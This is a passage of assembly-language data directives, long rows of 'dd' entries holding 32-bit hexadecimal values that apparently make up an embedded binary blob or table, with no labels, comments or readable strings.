104E205h, 0C112027h, 56B086FFh, 1052027h dd 5E22027h, 6E0000E1h, 0C11320Ah, 56B0DBFFh, 5E22027h dd 22162027h, 20270105h, 7FF0C11h, 27561382h, 275B1620h dd 1040D20h, 0C112027h, 906037Bh, 58DBFF20h, 40D2027h dd 11202701h, 1382690Ch, 0BE202756h, 27202701h, 270C7E20h dd 10F2A20h, 20270C43h, 5C020C9Ch, 6000018h, 2040309h dd 185Ch, 0CB3AFF0Eh, 10A0315h, 5C02209Ch, 0FF473E18h dd 8159D69h, 11185C17h, 38C7D16h, 13FF6B7Dh, 0A0D03D1h dd 39FF0501h, 1C0996h, 70C1E06h, 37EFF11h, 2040D0Dh, 185Ch dd 0D030906h, 40C010Ah, 185C02h, 11090600h, 37BBEFFh, 5C02040Dh dd 6000018h, 0A0D0309h, 2040C01h, 185Ch, 0FF110906h, 29B1FECEh dd 5C02040Dh, 6000018h, 0A0D0309h, 2040C01h, 185Ch, 73110906h dd 12D7A58h, 6000050h, 27E139FFh, 2C29FF01h, 0FF665300h dd 227E139h, 860FF05h, 185C17h, 3090600h, 0C010A0Dh, 185C0204h dd 9060000h, 4658CF11h, 185C1708h, 9060000h, 10A0D03h dd 5C02040Ch, 6000018h, 89FF1109h, 0D0D03D3h, 185C0204h dd 9060000h, 10A0D03h, 5C02040Ch, 6000018h, 582A1109h dd 0FF012D7Ah, 6002C29h, 0FFD429FFh, 530354DEh, 0DFFF0105h dd 0D0D03D0h, 0C27010Ah, 8C08FFh, 5010C14h, 0DFFF010Ah dd 60B0024h, 2B036C09h, 11FF0C01h, 0A001CB1h, 941132h dd 0FF09060Bh, 10A65C1h, 5139FF3Eh, 0FF090603h, 2C2265D9h dd 60B0000h, 65D9FF09h, 2C22h, 0FF09060Bh, 2C2265D9h, 60B0000h dd 0FF016609h, 2603h, 309060Bh, 0C27010Ah, 185C02h, 3090600h dd 29089A00h, 0C27010Ah, 185C02h, 3090600h, 2C29FF53h dd 29FF0600h, 2D9307D4h, 0FF530502h, 6002C29h, 0FFD529FFh dd 0D0354DEh, 68010A0Dh, 0B000073h, 2B030906h, 0A0D0C01h dd 0EBFF01h, 9060B00h, 10A001Ch, 0FF010A05h, 0FF0C0CF3h dd 0DDFFB439h, 880C3252h, 32010C32h, 0FF0C320Ch, 815CECEh dd 10C3217h, 0E40CF3FFh, 13D18DFFh, 0FF3ADDFFh, 2208BB1Ah dd 8DC0FF0Ch, 68010A0Dh, 6E000073h, 9B539FFh, 98211004h dd 204D666h, 5020405h, 0FFDE15CBh, 124ABA88h, 0FFC60805h dd 38FF023Ah, 21060358h, 2EAEC1FFh, 0B502042Fh, 0FF02F302h dd 0FF3AA2DDh, 4ADE0CFCh, 5B29FF12h, 0C66AD1FFh, 0FF023AFFh dd 2049F3Ah, 0FF15B20Ch, 22725D0h, 2DDE21FFh, 0BA21FF02h dd 0FFF2C1FFh, 405D6AD0h, 124ADE51h, 4C6080Ch, 3AFF0C02h dd 29585467h, 5A070015h, 6000081h, 6001C09h, 0FF1B051Eh dd 70552D8h, 38FF352Fh, 0D0D031Ch, 0FFDC39FFh, 1C1FD18Ah dd 0FF1E0600h, 4B002C29h, 39FF0000h, 0FBCBh, 3DD6557h dd 2C29FF17h, 0FF190400h, 0C1FF52DDh, 0FF140054h, 0D002C29h dd 1D15h, 1C09060Bh, 0C140000h, 0E101h, 39FF0026h, 0B207h dd 1C0906h, 10C0104h, 231B00F0h, 77FF0514h, 14B60000h dd 2C29FFh, 35BA39FFh, 0FFCC3AFFh, 514503Ah, 0B600006Ch dd 2C29FF14h, 9C39FF00h, 1089D0FFh, 5A86FF03h, 8C6B0CA6h dd 10A2908h, 0B0000A9h, 240906h, 890Bh, 39FF0026h, 0B2E9h dd 0C6080906h, 57EEFF05h, 1D5C11FFh, 22FF0000h, 6A81C87Ah dd 0FF10C608h, 1D5C11h, 5206C800h, 2F39FF13h, 99130000h dd 290000h, 0B2AB0C14h, 510E0000h, 10A03F9h, 142D39FFh dd 86A0Ch, 24090600h, 0FF1E0600h, 2B31h, 2448h, 4CFF1107h dd 10A032Fh, 45000099h, 60B0000h, 6002409h, 2B09FF1Eh dd 994B0000h, 0FF450000h, 58DDFFBFh, 7201E20h, 6A20018Ah dd 1D2208h, 0BFFF4500h, 9FF1459h, 0FF00002Bh, 4E39h, 4101414Eh dd 37088C11h, 2423633h, 0A0D0D05h, 0A901h, 2409060Bh, 890B00h dd 0FF002600h, 191B39h dd 90600h, 41010400h, 37088C11h, 1423633h, 2F39FFh, 0D031600h dd 0A9010A0Dh, 60B0000h, 0B002409h, 26000089h, 0BB39FF00h dd 6000009h, 0FF1E0521h, 2F39h, 104004Bh, 88C1141h, 0D363337h dd 0A9010A0Dh, 60B0000h, 0B002409h, 26000089h, 0D139FF00h dd 6000019h, 4000009h, 8C114101h, 36333708h, 10A0D0Dh dd 0B0000A9h, 240906h, 890Bh, 39FF0026h, 600007Bh, 4000009h dd 8C114101h, 36333708h, 10A0D0Dh, 0B0000A9h, 240906h dd 890Bh, 39FF0026h, 985h, 11410104h, 3337088Ch, 0A0D0D36h dd 0A901h, 2409060Bh, 890B00h, 0FF002600h, 0EFFF2F39h dd 9060000h, 1040000h, 88C1141h, 0D363337h, 0A9010A0Dh dd 60B0000h, 0B002409h, 26000089h, 7939FF00h, 9060000h dd 1040000h, 88C1141h, 0FF363337h, 0A03D13Bh, 10A4F01h dd 0FF010A51h, 2B11h, 0FF010A28h, 2B19h, 14000D28h, 6034C20h dd 2B11FF09h, 81FF0000h, 0FF0000DEh, 0DE81h, 0DE81FFh dd 1D224500h, 60B0000h, 7C002409h, 0D1FF0300h, 0D931FF10h dd 0FF4F0A04h, 0FF032E30h, 10FFDAD1h, 1D4681h, 9060B00h dd 10A2908h, 0B0000A9h, 240906h, 890Bh, 39FF0026h, 9060074h dd 1040000h, 14FF1141h, 0FF363337h, 0D0D037Fh, 0FFEF39FFh dd 241FD184h, 0FF1E0600h, 0FF112B69h, 1503D28Bh, 2B69FF14h dd 13D184FFh, 69FF1459h, 0D185FF2Bh, 1500001Fh, 2B69FF14h dd 13D184FFh, 69FF1459h, 0D185FF2Bh, 0D00001Fh, 0A9010A0Dh dd 60B0000h, 0B002409h, 26000089h, 0F39FF00h, 6000064h dd 4000009h, 0FF114101h, 36333714h, 3F95184h, 0A9010Ah dd 9060B00h, 890B0024h, 260000h, 5539FFh, 3090600h, 1D15h dd 4339FF28h, 9060000h, 1E060024h, 48002468h, 7000024h dd 2958B211h, 0D039FF0Dh, 1FD185FFh, 1E060024h, 4B00009Fh dd 9F1446h, 3B39FF00h, 6D182FFh, 0FF002409h, 4E036D39h dd 1500246Bh, 9F14h, 0FF1739FFh, 906D182h, 39FF0024h, 0F50375h dd 246B14h, 10A0D0Dh, 0B0000A9h, 240906h, 890Bh, 39FF0026h dd 600004Dh, 0FF002409h, 0D0D8D39h, 0A9010Ah, 9060B00h dd 890B0024h, 260000h, 98539FFh, 1040000h, 14FF1141h, 0FF363337h dd 0D0D030Ch, 0A9010Ah, 9060B00h, 890B0024h, 260000h, 0EBFFA9h dd 1D0906h, 39FF2800h, 0FF32A585h, 0D290353h, 0A9010Ah dd 9060B00h, 890B0024h, 260000h, 7039FFh, 0FF090600h, 3A083A09h dd 528AFFh, 0A00240Eh, 14000501h, 0D00007Bh, 39FF0D0Dh dd 30985h, 0FF2E089Ah, 1043A82h, 14FF1141h, 0D363337h dd 0A9010A0Dh, 60B0000h, 0B002409h, 26000089h, 0D939FF00h dd 600EBFFh, 0A290809h, 0A901h, 2409060Bh, 890B00h, 0FF002600h dd 1D091D39h, 39FF0000h, 5700005Dh, 478E11FFh, 0FF151044h dd 2FA58339h, 4038FF35h, 10A0D03h, 260000E1h, 58DDFFB9h dd 1B051E05h, 552D8FFh, 0FF352F07h, 0E1018A38h, 0F50B0000h dd 0E1010Ah, 350E0B00h, 16E138FFh, 0E1010A29h, 0E0B0000h dd 890B0000h, 0B9260000h, 3BBDDFFh, 0E1010Ah, 0FFB92600h dd 1C58C1h, 1B051E06h, 552D8FFh, 0FF352F07h, 0A031438h dd 0E101h, 10AF50Bh, 0B0000E1h, 38FF350Eh, 39FF034Bh, 4500002Ch dd 60B0000h, 1D09h, 890Bh, 0DDFF6626h, 10A03BBh, 260000E1h dd 58C1FF66h, 1E06001Ch, 0D8FF1B05h, 1A070552h, 10A2B85h dd 0B0000E1h, 0E1010AF5h, 0E0B0000h, 0D23AFF35h, 10444715h dd 7F07000Dh, 0B00001Dh, 39FF0906h, 50242B9h, 0C135206h dd 4D60316h, 3421B502h, 0DEFF0300h, 26460352h, 6D182FFh dd 452209h, 1D0906h, 641E0600h, 4800001Dh, 0FF00001Dh dd 6939h, 204A8A5h, 521060Ch, 265CD3FFh, 6000071h, 5CD3FF09h dd 0AC210E0Bh, 1D196207h, 39FF0000h, 38FF351Dh, 14000367h dd 1D64h, 0FFD639FFh, 12A400E6h, 6000000h, 6207AC21h, 1D19h dd 7339FFh, 9C655700h, 1D191703h, 4C000000h, 1D3C0141h dd 60B0000h, 7000309h, 1C3921FFh, 0E0000h, 661E0600h, 1E062B1Bh dd 0F3FF1B66h, 55661400h, 1A68CFFh, 0FF000078h, 5539h dd 1D19AAh, 0FF3B0600h, 3AFFD33Ah, 21FF0776h, 0CEFF0739h dd 0B60000FEh, 1D1914h, 0C039FF00h, 0ABFFh, 0D8EFC457h dd 0EF8939FFh, 7CD8h, 76FF6001h, 1439FF03h, 7054E03h, 3107FE40h dd 1A39FF05h, 0E000008h, 302D9317h, 33371604h, 39FF0D36h dd 10040935h, 0B986FF03h, 57F0700h, 0FF09BEFFh, 0FF158F39h dd 0C4FF2ED3h, 993EC9h, 991E0600h, 7000000h, 7B62h, 359F39FFh dd 10538FFh, 2D39FF05h, 15BC39FFh, 2F81FF01h, 60312E4h dd 2F81FF09h, 0FF013E15h, 0A002F83h, 0FF000501h, 0FF0195C4h dd 2F85h, 820142h, 15031600h, 6F00001Dh, 99h, 3ED5C4FFh dd 81FF010Ah, 99142Fh, 0C4FF0000h, 7003ED9h, 7B62h, 7839FFh dd 0FF655700h, 2911FECEh, 6639FF0Dh, 0E03h, 70C1E06h, 0CECEFFh dd 9914h, 0E1C4FF00h, 7B3Eh, 35BB39FFh, 1A2138FFh, 7B17h dd 42274C00h, 7C052208h, 600006Dh, 0C142509h, 1D0915h dd 0ED39FF00h, 54E035Eh, 0A80C1400h, 906035Eh, 1D1503h dd 9060B00h, 3906030Ch, 390C390Ch, 0CA1880Ch, 0A10CA101h dd 740Ch, 7B010C75h, 550000h, 4F404007h, 550000h, 1E447107h dd 0F9000074h, 990C7503h, 9C0F0000h, 7B01h, 740104h, 10F1900h dd 35000074h, 7801h, 0E56F006Fh, 0B1D05FFFh, 796901D7h dd 0D1FF9800h, 0C6086A71h, 0A20079E2h, 0ED1E0A35h, 22FF0079h dd 10AC87Ah, 28007969h, 10A0315h, 2600006Ch, 0C4FF0000h dd 0C7E0189h, 0D8FF0C7Eh, 110C7E52h, 0CFFh, 6C53h, 6301E501h dd 12D7A16h, 6000052h, 0FFD029FFh, 0A0354DEh, 6C01h, 13B010Fh dd 0F00006Ch, 791B01h, 193B0104h, 13B010Fh, 1900791Bh dd 1B010F19h, 14000079h, 0FF00791Bh, 0A048839h, 0A00791Bh dd 0D0D0FF3Ch, 791B010Fh, 39FF0D00h, 39BFFEFh, 0D000089h dd 90D39FFh, 69140038h, 10A0079h, 6F007930h, 991400h, 0C4FF0000h dd 14156981h, 9BFF3D0Ch, 79090603h, 17D1FF00h, 79ED01h dd 0AB51D2FFh, 0D1FF0079h, 79DB0117h, 2ED0FF00h, 3F90C14h dd 0B007915h, 790906h, 79691400h, 30010A00h, 0FF6F0079h dd 28D511h, 9914h, 81C4FF00h, 3D029FFh, 6C53h, 4201E501h dd 12D7A16h, 6000052h, 0FFD529FFh, 760354DEh, 0D101h, 820127h dd 0FF017600h, 270000B6h, 79390D01h, 17D1FF00h, 79ED01h dd 6DDED2FFh, 3000D01h, 1A00004Bh, 820127h, 82017600h dd 1270000h, 300079ABh, 0FF007939h, 10D5BD1h, 0FF0079DBh dd 176F73Ah, 27000082h, 79AB01h, 0FF0D0176h, 10D59D0h dd 79DB010Dh, 82C300h, 3110FF00h, 0D0A6D93h, 10F5C3Ch dd 1500006Ch, 10FF0079h, 81D8FF31h, 39FF0000h, 1D092Dh dd 79150D00h, 9060B00h, 14000079h, 0A007969h, 793001h dd 0D511FF6Fh, 99140028h, 0FF000000h, 0A01E81C4h, 354DEFFh dd 6C0104h dd 3110FF00h, 2EAD8FFh, 1040305h, 0F007932h, 2389FF01h dd 14000000h, 2389FFh, 39FF0D00h, 8DFF4EA6h, 4000023h dd 238DFF01h, 550000h, 0BB89FF1Bh, 0FF193A08h, 0E00A8h dd 791500h, 0CDC4FF00h, 0FF20013Eh, 87FF3A39h, 906002Eh dd 6E00001Dh, 0FF294519h, 60FFCB39h, 9060000h, 796914h dd 7930010Ah, 14006F00h, 99h, 181C4FFh, 600007Bh, 0D43AFF3Bh dd 4A38FFh, 0C140000h, 14B6039Fh, 99h, 3EE1C4FFh, 0FF00007Bh dd 11FFA439h, 80FF478Eh, 96FFB2B9h, 7054E03h, 3107FE40h dd 9939FF05h, 930204F5h, 1604302Dh, 0D363337h, 9B039FFh dd 2051004h, 5020405h, 2E52EBFFh, 0B502042Fh, 0FF02F302h dd 0D2FFA2C5h, 2A122D94h, 0FF120435h, 2DC1D2C1h, 0FFEAD8FFh dd 0FF70A410h, 3AFF1F3Ah, 654C466h, 6AC1352h, 0B70C1352h dd 0C0FFF803h, 0C02D7D0h, 250C0700h, 0BEFF5A07h, 5B031109h dd 5B032705h, 0D4D9FF67h, 20F039Fh, 0E23829FFh, 0C1FF1303h dd 2144B2D3h, 317DDFFh, 36AFFF8h, 0C0242h, 7250C07h, 0C8CEFF5Ah dd 60397FFh, 5B031109h, 0D4D9FF67h, 3D111FFh, 29FF020Fh dd 21443D3Ah, 363DDFFh, 2426975h, 0C07000Ch, 0FF5A0725h dd 204940Bh, 0FFD4D9FFh, 55B0357h, 675B030Ah, 9FD4D9FFh dd 0AD020F03h, 0FF870705h, 51295C4h, 0C7FF1BACh, 8903022Eh dd 21FF1708h, 311B83B7h, 0C31235Fh, 0DDFF2110h, 167175CDh dd 8F67A617h, 7050223h, 8707002Ah, 0B9C1FF07h, 6000507h dd 10210609h, 0D120FF65h, 25081503h, 3921FF07h, 5B94C7FFh dd 0FF3A29FFh, 0CFF39C1h, 5F020F00h, 0FF7229FFh, 3807901Ah dd 0CEFF0700h, 60B15F1h, 2514009h, 3820B0h, 0F1CEFF07h dd 9060B15h, 7CFF4040h, 0FFB06702h, 20675AD2h, 901AFFCFh dd 0FFC13AFFh, 7539h, 0CF0C0227h, 901AFFh, 7003807h, 0F1CEFFh dd 9A01007h, 5A02FF40h, 0C5B21FFh, 42F2E52h, 9139FF02h dd 0EA39FF02h, 0FF051002h, 0C02E3D1h, 5939FF12h, 0FF0D3AFFh dd 479DCD11h, 0FF151044h, 10F0D12h, 1D39A0h, 0C84600h dd 0E00h, 0DCFF3C27h, 18010421h, 118010Fh, 0FFA00118h dd 40DC8CEh, 113C1801h, 0D0D0E0Bh, 1D1B010Ah, 60B0000h dd 39FF2809h, 0A031F54h, 1D1B01h, 2B2600h, 4090600h, 0A3060310h dd 54DEFF10h, 0AE114203h, 3AFF0C13h, 0C0104DCh, 10C010Fh dd 0DD11FF0Ch, 0C969FF06h, 1C4603DAh, 0FF2ADE00h, 1C900Ah dd 109060Bh, 0DD11FF0Ch, 8816B00h, 0B001C22h, 1C0906h dd 2 dup(1C970Bh), 8439FF28h, 2EAE6001h, 0B611h, 21FFA306h dd 1B03083Ah, 89D0FF11h, 0FF290806h, 3B21A39h, 783210Eh dd 0CEFF851Ah, 2552069Ah, 0B929FF07h, 0B001C15h, 21060906h dd 27920705h, 88FF03B2h, 50700BBh, 0B4260000h, 9060000h dd 30554h, 2B195A07h, 350E0000h, 15C53AFFh, 0FF000502h dd 50299C4h, 2F2E0510h, 2B50204h, 0FFBA29FFh, 1B03087Fh dd 0DE5A83FFh, 0FF0877FFh, 0FF02EAD1h, 11FFA4D9h, 5BEA11EBh dd 0BA29FF05h, 7BFF7DEAh, 0FF090603h, 2049939h, 6252DDFFh dd 0D33AFF55h, 2493AFFh, 15031005h, 0FB11FF06h, 0E0Bh dd 25010Ah, 0D22600h, 0A0D0E00h, 2501h, 0E0Bh, 0FF26196Eh dd 0FF0DB9DDh, 409A739h, 7000310h, 4FF72h, 0BB88FF00h dd 69FF010Ah, 603192Ch, 0B001C09h, 0B001C97h, 0F001C97h dd 0B929FF02h, 0B001C15h, 2F2E0906h, 6050204h, 0C7FF0521h dd 725B1D0h, 0E46B72h, 3AFF0E00h, 7000D08h, 70720734h dd 60000E4h, 6001C09h, 1C681Eh, 0FF110700h, 603D10Bh, 1C681Eh dd 2E001C48h, 1C6B88h, 6B010F19h, 104001Ch, 55001C6Bh dd 1C7500h, 1C113204h, 7005500h, 2E03ED11h, 1CBB18FFh dd 0F2120400h, 0C010A1Ch, 19D139FFh, 3090603h, 0D739FF15h dd 9060319h, 3D3D2FFh, 0B001C15h, 906h, 3C720700h, 25EA7805h dd 5CDDFF07h, 1D26001Ch, 9060000h, 0C4FF5907h, 25B13ED1h dd 402E089Ah, 44479D1Eh, 7001510h, 0F5D9FF5Ah, 9060000h dd 9F0142h, 13036400h, 2C6Bh, 2621FF13h, 74130000h, 882E0000h dd 19000074h, 74010Fh, 74010400h, 550000h, 2C75h, 0C013204h dd 0A429FF02h, 740104h, 7005500h, 0FF1E44E4h, 2621h, 2C7503F9h dd 12040000h, 10C01B0h, 2621FFh, 10F1900h, 2621FFh, 78013500h dd 156F0000h, 3EFDC4FFh, 0DFFF1B0Ch, 0DF92072Eh, 2EF6FFh dd 339A4h, 759207h, 0B2FF9207h, 7B4E0000h, 1E060000h, 4B00007Bh dd 0F732FFh, 0A8FFF400h, 2C6801h, 0FF002600h, 54EBA39h dd 2EDAFF07h, 6AFF9207h, 0FFF40000h, 0FF922E80h, 0A500241Eh dd 72EDAFFh, 72FF92h, 25B9F400h, 2CF207h, 0FF052600h, 0C4FFBBC1h dd 25B13ED1h, 725089Ah, 479D0D92h, 62569FFh, 34020F10h dd 4D6D9207h, 9207B600h, 77FFh, 5269FF4Eh, 71920700h, 2EF7FFh dd 0A778557h, 49269002h, 5210E00h, 0D9FF9207h, 570000F7h dd 2E83FF85h, 24D292h, 2EDCFFA5h, 7C619207h, 85570000h dd 0F2072566h, 6004926h, 0FF340709h, 0B13ED1C4h, 25089A25h dd 7C689207h, 0C4570000h, 2916D8EFh, 1D7F0700h, 60B0000h dd 0F139FF09h, 88FF03A3h, 1DBBh, 5210E0Bh, 1D5E14h, 0C339FF00h dd 7BFF65B3h, 0FF010A03h, 5E012F81h, 1Dh, 0F1CEFF4Ch, 1D22EAh dd 9060B00h, 4500001Dh, 1D1Fh, 3AFF3B06h, 507259Eh, 0E00h dd 1D3D1E06h, 7000000h, 5203FF40h, 1D3Dh, 1D3D4Bh, 39FF0D00h dd 0E000070h, 1D3D1400h, 39FF0000h, 3819h, 772FFF4h, 14B60005h dd 1D5Eh, 35B239FFh, 1A1318FFh, 3100647h, 64FE39FFh, 83AD4E03h dd 4FFF1107h, 1B9B1303h, 72EDFFFh, 20F0D72h, 0D03000Ch dd 7D39FFh, 0C020E00h, 5210521h, 0B9C5FF77h, 5239FF0Dh dd 0FF0E0000h, 1AAD5ADBh, 13050700h, 0AD310759h, 81DBFFh dd 1C89FF0Eh, 302D9317h, 33371604h, 39FF0D36h, 6005232h dd 5100409h, 2040502h, 7F69FF05h, 373FF32h, 12050204h dd 77FF0F05h, 50D1FF08h, 0FF170300h, 0D1FF087Fh, 5A10FFFAh dd 7FFF4405h, 81051708h, 39FF03EAh, 2E02FF28h, 5120400h dd 877FF44h, 69FF0517h, 0CEFF4077h, 2E52060Fh, 0B502042Fh dd 0BA29FF02h, 3087FFFh, 5AF7FF1Bh, 5022305h, 0BA29FF12h dd 0FF0877FFh, 0FF44EAD1h, 0FF4B0877h, 0A7549538h, 7250846h dd 0F2FF2A5Ah, 9060000h, 5A070003h, 0F266FFh, 0FF350E00h dd 0A298938h, 2621FF01h, 3D260000h, 1B83AD3Eh, 3452DEFFh dd 50D8FF1Bh, 584BA783h, 5129FF17h, 2C11h, 22080513h, 0B00002Ch dd 7AC210Eh, 38FF352Fh, 45221621h, 9EFF00h, 6090600h, 2F07AC21h dd 1D38FF35h, 46080502h, 9060000h, 7AC2106h, 38FF352Fh dd 20A0378h, 460805h, 15090600h, 0FF072508h, 39FF3921h dd 90603ECh, 1303B801h, 2639FFh, 0A101300h, 10A1001h, 2639FFh dd 7FF4500h, 52C1FFB9h, 1A00002Ch, 2C52C0FFh, 354B0000h dd 0FF1E0603h, 2639h, 52C0FF11h, 4B00002Ch, 16C8CEFFh dd 2639FF13h, 0FF110000h, 2C52C0h, 0D9FF1100h, 0FF1303BBh dd 2639h, 0C0FF0770h, 2C52h dd 334FF4Bh, 30F38FFh, 46030C13h, 0FF072508h, 0A32B3921h dd 1090603h, 13D16BFFh, 2631FFh, 2C2200h, 0F6FF4500h, 90603E8h dd 130C0766h, 3326DDFFh, 6000036h, 0D207201Eh, 7250815h dd 0DDFF130Ch, 0FF851A54h, 31FF528Fh, 0B7000026h, 0FF480000h dd 963Ah, 4B0000B7h, 31FF1E4Ch, 0FF000026h, 0A4D3h, 0C83AFF48h dd 31FF1E06h, 0FF000026h, 0A4D3h, 0E2D3FF4Bh, 291654C4h dd 1D7F0700h, 60B0000h, 0D739FF09h, 2ED0FF66h, 2F23FF14h dd 39FF0000h, 2EC0FFD2h, 2600000Eh, 5E39FF00h, 0E0000h dd 2F23FF14h, 39FF0000h, 0F1CEFFC5h, 65570000h, 13D0C6FFh dd 1D61h, 1D48h, 610105A9h, 1B00001Dh, 2F23FF62h, 39FF0000h dd 0F1CEFFD9h, 65570000h, 130336FFh, 77h, 0FF1400B7h, 2F23h dd 5839FFh, 220E00h, 0E0B0000h, 77h, 0FFA4D3FFh, 0FF29812Bh dd 1EFF2639h, 30E0000h, 1D0906h, 39FF2800h, 1FE6FFCFh dd 28F6FFh, 0E032800h, 22h, 0E0Bh, 1E060026h, 77h, 0B7h dd 1D6814h, 1E39FF00h, 770E0094h, 0FF000000h, 10AA4D3h dd 0ABFFh, 0E0B00h, 0CD39FF00h, 0CECEFFh, 0EFC45700h, 0FF032FD8h dd 700B986h, 0B004D7Fh, 39FF0906h, 24970356h, 88FF0B00h dd 11FF6DDEh, 4616FD54h, 13FE2105h, 0FF38DDFFh, 603D11Bh dd 2E004D39h, 10F5188h, 0FF510151h, 0EA11EB11h, 0B00007Dh dd 0B00000Eh, 28002497h, 0FFFD39FFh, 0A01FEBh, 5BEADE00h dd 1500007Bh, 0EADE004Dh, 0B00007Dh, 0FF050906h, 0FF010ABCh dd 82056Eh, 5288FF00h, 0FF010A15h, 2001056Eh, 35539FFh dd 0Eh, 0FF41010Ah, 4E39h, 9FF62A5h, 0FF000028h, 5939h dd 19FF6557h, 6A8103D5h, 0FF0CC608h, 11FF57EEh, 0FF001C5Ch dd 81C87A22h, 99C6086Ah, 0A150000h, 2F28FF1Eh, 22FF0000h dd 10AC87Ah, 28000099h, 0FF0C010Ah, 0A8DB39h, 62090600h dd 2809FFh, 0CF39FF00h, 5700B0FFh, 0D58FFF65h, 0FF140003h dd 2B2Bh, 6939FFh, 83AD4E00h, 9FF6207h, 0FF000028h, 822739h dd 3FE6557h, 7B1E06h, 0FF327A00h, 403D0D1h, 7B01h, 0FFBE1904h dd 0E501D031h, 821032h, 90010F00h, 1E06004Dh, 48004D90h dd 358001Ch, 42DB3AFFh, 7A031501h, 5CF012Dh, 104D21Bh dd 400007Bh, 31FFBE19h, 7801D3h, 53031600h, 8A1B0501h dd 7A031501h, 57FF012Dh, 18A1B05h, 15130315h, 4D906207h dd 1C4800h, 1E060358h, 9FFF0715h, 5EE0176h, 76004D68h dd 0FF050F01h, 5EE2869h, 24220539h, 0E0B00h, 0EE012700h dd 2869FF05h, 86050Fh, 0FF14B600h, 2B23h, 0A20010Ah, 40D4101h dd 2809FF01h, 0FF060000h, 60BC511h, 0FF3A0809h, 0A00B569h dd 10A2001h, 0FF010441h, 2809h, 21FF4C00h, 2422081Fh, 9060B00h dd 0B9DAFF05h, 13089A00h, 8039FF0Ch, 7401h, 0FF175206h dd 2809h, 39FF3B06h, 0D1FF35E7h, 502D2h, 0FF0A0400h, 2B23h dd 0EAD1FFB3h, 3A310FFh, 99010Ah, 39FF2800h, 1D1FBE0Ah dd 0A280000h, 39FF0C01h, 97FF13h, 8090600h, 0B001C22h dd 573AFF0Eh, 0BB29FF07h, 0FF280024h, 0C6FFE939h, 8709062Eh dd 0E00h, 4D6B1E06h, 0FF034800h, 94D2h, 23FF0A04h, 0B300002Bh dd 0FFEAD1FFh, 0A210h, 24801400h, 89A0000h, 23920725h dd 32A50000h, 7251671h, 4E006292h, 600009Fh, 9F1Eh, 0F0C174Bh dd 7B1E0C01h, 3480000h, 0BED139FFh, 600001Fh, 7B1Eh, 522164Bh dd 7B14h, 0FF3239FFh, 7B5613E0h, 0A040000h, 0F00009Fh dd 0EFFF3Dh, 7B14h, 3939FF0Dh, 2E8BFFh, 7B14000Eh, 39FF0000h dd 0FFF4037Bh, 14342EC1h, 0FF00009Fh, 0E623939h, 2809FFh dd 0FF3B0600h, 0A13Ah, 39FF0026h, 2EDAFFF1h, 0E00h, 740127h dd 5393000h, 10A2001h, 45000074h, 60B0000h, 27004D09h dd 0B105EE01h, 17089A25h, 55B05h, 19920700h, 2EC4FFh, 2C0BFFA4h dd 0C140000h, 74E0C7FFh, 10F0000h, 6003443h, 0C5003439h dd 347CFFh, 18E409FFh, 0C80FFh, 0A0D2800h, 241D01h, 0FF09060Bh dd 0C4FFE539h, 14B6002Eh, 2809FFh, 6A39FF00h, 0FF570000h dd 6478E11h, 254B4810h, 39C1FF07h, 0EEFFh, 6DDE88FFh, 875411FFh dd 39C1FF07h, 0A500002Fh, 0D019FF11h, 8B3AFF03h, 100204D6h dd 2D100204h, 5DEA3030h, 372FF11h, 30100204h, 39FF7DEAh dd 0B1F4CC6h, 0C1FF07B6h, 0E839FF5Ch, 40401F50h, 0C5FF219Fh dd 0DFFF1BD1h, 0A8F6072Eh, 422F1F4Ch, 2045102h, 21052151h dd 422F7705h, 21060502h, 39FF482Ah, 2F1F4CC3h, 1FF0242h dd 4032F01h, 5801FF02h, 3823E0Ch, 2422F77h, 2321060Ch dd 2EDFFF1Bh, 0AFF2307h, 4F4E03FEh, 4F02044Fh, 0FF1BAC21h dd 58AC50D8h, 0FFA7D1FFh, 0D03D0D1h, 0F8339FFh, 783AD02h dd 37FFF11h, 5607000Dh, 39FF1AADh, 0EFFFEEh, 7090600h dd 7D1611C2h, 4090600h, 4030512h, 30C5F02h, 0CE5F0204h dd 2916F3FFh, 0FF310700h, 0F7FFD429h, 60B03D0h, 0C070009h dd 1716D26Bh, 0FFD429FFh, 6E03D0DDh, 4302D45h, 36333716h dd 2739FF0Dh, 2E89FFh, 10040906h, 7000D03h, 53FF057Fh dd 13D1FFFFh, 845A0759h, 1FF0104h, 10A0D2Dh, 2F85FFh, 9060B00h dd 493905h, 4522h, 409060Bh, 10F4F01h, 49394Fh, 0F3B882Eh dd 3B013B01h, 6EB11FFh, 327F69FFh, 4658F3FFh, 0EADE0049h dd 0B00007Dh, 490906h, 305BEADEh, 10A0049h, 0B004932h dd 0B004997h, 305288FFh, 327A0049h, 40334FFh, 493001h dd 0FFBE1904h, 0E501D031h, 0D100FF32h, 0FC39FF03h, 10F0011h dd 1B181E18h, 116DDFFh, 0FF0305B2h, 142DB3Ah, 530305B2h dd 0D2543AFFh, 49300104h, 0BE190400h, 1D331FFh, 16000078h dd 0AFF5303h, 0B2018A54h, 41530305h, 5B20142h, 0B21E0603h dd 1B186205h, 5B2018Ah, 0B21E0603h, 2766405h, 76000010h dd 1276A02h, 461002A0h, 0B00001Dh, 2700000Eh, 1002h, 536A0227h dd 11FF33BDh, 116227F4h, 7006F62h, 0DF7192h, 49090600h dd 1B1E0600h, 327A0049h, 0D0372FFh, 0FB939FFh, 6C01h, 6C1E06h dd 0D004B00h, 4930010Ah, 0FF002600h, 49099939h, 10F1900h dd 4004969h, 6C01h, 491B0A04h, 0FF3D0F00h, 6C1400EFh, 0FF0D0000h dd 0D2A59139h, 491B1400h, 0B639FF00h, 6C1400h, 2739FF00h dd 0CBF4032Bh, 4932010Ah, 1EFF2600h, 1D2208h, 9060B00h dd 20A0000h, 460805h, 6090600h, 40078321h, 2D01FF62h, 11401B1Ah dd 1C1Bh, 69144F14h, 1040049h, 0D2D01FFh, 85FF010Ah, 0B00002Fh dd 0FF050906h, 57002E86h, 9BD8EFC4h, 8CFF4007h, 9839FFB9h dd 705020Fh, 0D96FF40h, 5560700h, 0FFE839FFh, 90600EBh dd 31070003h, 0FF137D05h, 0D15B9DDh, 98639FFh, 0D031004h dd 57F0700h, 3FB32FFh, 39FF0906h, 0F503B403h, 0E1010Ah dd 0E0B00h, 5882E00h, 105010Fh, 0EB11FF05h, 5DEA3053h dd 4603DB32h, 0EADE001Ch, 0B00007Dh, 1C0906h, 1C970Bh dd 0A539FF28h, 11FF05AAh, 0FF6B00EBh, 0A29087Bh, 0E101h dd 0E1970Bh, 9060B00h, 2C0AFFh dd 1C6001h, 87BFFDEh, 9938FF03h, 22001C39h, 2800001Dh dd 0DB0739FFh, 0E0000h, 3C39FF00h, 0C4570000h, 3A16D8EFh dd 4E036AFFh, 63400705h, 5310700h, 